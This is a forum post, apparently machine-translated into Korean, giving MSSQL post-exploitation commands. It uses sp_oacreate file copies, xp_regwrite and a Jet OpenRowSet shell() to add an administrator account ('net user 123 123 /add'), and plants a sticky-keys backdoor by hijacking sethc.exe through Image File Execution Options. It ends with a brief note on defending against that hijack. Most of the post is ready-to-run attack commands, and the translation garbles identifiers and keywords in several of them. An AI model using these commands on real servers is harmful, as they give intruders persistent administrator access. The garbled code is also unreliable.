sp_oamethod @f, 'writeline', NULL,'z.setting("AccountType")=3' 그 다음 cmd가 cscrip을 실행하여 t c:\1.vbs를 제거합니다 4. 이전 것은 명령어 명령어를 실행하기 위해 수리되었으나, 수리 후 새로운 문제가 발생한다 (1) 메시지: xp_cmdshell 실행 중에 오류가 발생했습니다. 'CreateProcess' 호출이 오류 코드 '5'와 함께 실패했습니다. 오류 5는 시스템에서 요청하는 오류 번호이며, CreateProcess는 스레드를 생성한다는 의미입니다. 이 오류 생성은 시스템 파일 cmd.exe와 밀접한 관련이 있습니다. 하나는 cmd가 삭제되는 것이고, 다른 하나는 cmd의 권한이 줄어드는 것입니다. 터미널 포트와 열린 상태를 확인하는 SQL: 대장님.. xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-TCP', 'PortNumber' 네, 아래의 핵심은 두 개의 SQL 명령어를 사용해 시스템의 탐색기 파일을 시스템의 shift 백도어 파일로 복사하고, 다음 두 문장을 따로 실행하는 것입니다. 이 문장은 explorer.exe sethc.exe 'scripremove ting.filesystemobject'sp_oacreate @o 정체 exec 선언하고, exec sp_oamethod @o, 'copyfile', null, 'c:\windows\explorer.exe', 'c:\windows\system32\sethc.exe'를 @o 이 문은 sethc.exe를 dllcache 디렉터리로 복사합니다 @oo int exec sp_oacreate 'scrip remove ting.filesystemobject'를 선언@oo하고, exec sp_oamethod @oo, 'copyfile', null, 'c:\windows\system32\sethc.exe', 'c:\windows\system32\dllcache\ sethc.exe'; 나머지 두 문장은 odsole70.dll 파일을 사용해야 하는 sp_oacreate 저장 프로시저를 사용하므로 이 파일의 생존은 생성 성공과 관련이 있습니다. (2), xpsql.cpp: CreateProcess 오류 5 (737행) 이 상황은 더 까다롭고, 인터넷에서도 그렇게 말해집니다 엑셀 master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE', 'SoftWare\Microsoft\Jet\4.0\Engines', 'SandBoxMode', 'REG_DWORD',0 Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user 123 123 /add")'); Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 123 /add")'); 이 문제에 대한 권리를 제기하기 위해 샌드박스를 확인했지만, 제 실습상 성공률은 매우 낮습니다. 대부분의 서버가 c:\windows\system32\ias\ias.mdb를 삭제했기 때문입니다. 그 다음에는 이미지 하이재킹 sethc를 시도해볼 수 있습니다. 물론 이미지 하이재킹도 조건부입니다. 1은 이 저장 프로시저xp_regwrite 존재해야 하며, 2는 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe'입니다. 디버거'는 삭제되지 않습니다 먼저 레지스트리 고정 키가 탈취되었는지 여부를 확인할 수 있습니다 대장님.. xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File 실행 옵션\sethc.exe','디버거' 프롬프트가 문제를 찾지 못하면 증명이 삭제되며, 프롬프트가 뜨면 SQL 명령을 실행할 방법이 sethc.exe 없습니다 임원님.. xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File 실행 옵션\sethc. EXE', @value_name='디버거', @type='REG_SZ', @value='C:\WINDOWS\explorer.exe' 터미널에 5번 접속하고 이동하면 바로 데스크톱으로 가서 수동으로 추가합니다.
레지스트리는 터미널 포트를 수정합니다
[HKEY_LOCAL_MACHINE \ 시스템 \ CurrentControlSet \ 제어 \ 터미널 서버 \ WDS \ rdpwd \ Tds \ tcp]
HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ 터미널 서버 \ WinStations \ RDP-TCP,
이미지 하이재킹 방지와 관련해서는 주로 다음과 같은 방법으로 이루어집니다:
★ 허가 제한법
사용자가 더 이상 레지스트리 키에 접근할 수 없으면, 이 기능들을 수정할 수 없습니다. 레지스트리 편집기를 열고 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows 메뉴로 이동하세요
NT\CurrentVersion\Image 파일 실행 옵션, 이 항목을 선택한 후 우클릭 - 권한 > - > 고급, 관리자 및 시스템 사용자의 권한을 낮추세요(여기서는 쓰기 작업을 취소하면 됩니다).
★ 빠른 칼 자르기 지저분한 대마 방법
레지스트리 편집기를 열고 바로 가세요
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image 파일 실행 옵션
이 문제는 이미지 파일 실행 옵션 항목을 직접 삭제함으로써 해결할 수 있습니다.
SQL 명령어 하이재킹 레지스트리 스티키 키 설치 백도어 xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe', '디버거', 'REG_SZ','C:\WINDOWS\system32\kdsn.exe'
소프트웨어 다운로드:관광객 여러분, 이 게시물의 숨겨진 내용을 보고 싶으시다면 부탁드립니다 회답
|
이전의:DDL, DML, DCL에 대한 이해다음:오라클은 문자열 길이 함수 length()와 hengthb()를 얻습니다.
|